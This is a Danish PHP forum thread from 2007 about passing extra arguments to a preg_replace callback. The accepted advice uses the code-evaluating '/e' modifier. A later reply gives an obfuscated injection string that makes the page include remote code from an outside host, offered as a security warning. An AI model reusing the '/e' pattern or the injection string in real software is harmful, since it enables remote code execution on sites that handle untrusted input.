Avatar billede hoppe11 Nybegynder
22. juni 2007 - 22:05 Der er 9 kommentarer og
1 løsning

flere argumenter i callback funktion i preg_replace_callback

hvordan kan det være muligt at sende flere argumenter med i callbackfuntionen end $matches fra preg_replace?
Avatar billede morhan Novice
22. juni 2007 - 22:18 #1
Det er sådan set bare at smide dem på.

preg_replace('/\d+/e', 'callMe("$0", $var1, $var2)', $str);

function callMe($match, $var1, $var2){
  ...
}

eller med dobbeltplinger:

preg_replace('/\d+/e', "callMe('$0', \$var1, \$var2)", $str);
Avatar billede hoppe11 Nybegynder
22. juni 2007 - 22:31 #2
åhh.. jeg havde godt nok set eksemplet på php.net, men syntes ikke jeg kunne få det til at virke

dvs. $0 er hele matchet fra preg?
Avatar billede hoppe11 Nybegynder
22. juni 2007 - 22:40 #3
her returnerer den bare replacement som rent tekst

tst_callback("hej", $wrap) tst_callback("med", $wrap) tst_callback("dig\nny", $wrap) tst_callback("linje", $wrap)


function tst($str, $wrap)
{
    return nl2br(preg_replace('/[^ \n]+/', 'tst_callback("$0", $wrap)', $str));
}

function tst_callback($match, $wrap)
{
    return $match.$wrap;
}

echo tst('hej med dig\nny linje', 10);
Avatar billede morhan Novice
22. juni 2007 - 22:49 #4
/e

er den vigtige information du skal give til preg_replace
Avatar billede hoppe11 Nybegynder
22. juni 2007 - 23:28 #5
morhan > det er jo simpelhen for smart :)

smid et svar
Avatar billede hoppe11 Nybegynder
22. juni 2007 - 23:31 #6
preg_replace('/pattern/e', $replacement, $subject);

er vel i store træk det samme som

preg_replace_callback('/pattern/', 'min_funktion', $subject);
Avatar billede morhan Novice
23. juni 2007 - 02:49 #7
jo, det er cirka det samme. Men hvis du ikke har styr på inputtet, så er det et stort sikkerhedshul, da den jo evaluerer den kode du slipper igennem.

echo tst('hej [${(include(http.chr(58).chr(47).chr(47).www.chr(46).google.chr(46).dk))}] hej', 10);

Hvis din php-opsætning tillader include fra http, så vil ovenstående inkludere google.dk på din side. Det kunne lige så godt have været et hackerscript
Avatar billede hoppe11 Nybegynder
23. juni 2007 - 09:09 #8
tak for hjælpen :)
Avatar billede hoppe11 Nybegynder
25. juni 2007 - 17:12 #9
morhan > du må gerne smide et svar :)
Avatar billede hoppe11 Nybegynder
08. juli 2007 - 20:08 #10
lukker
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester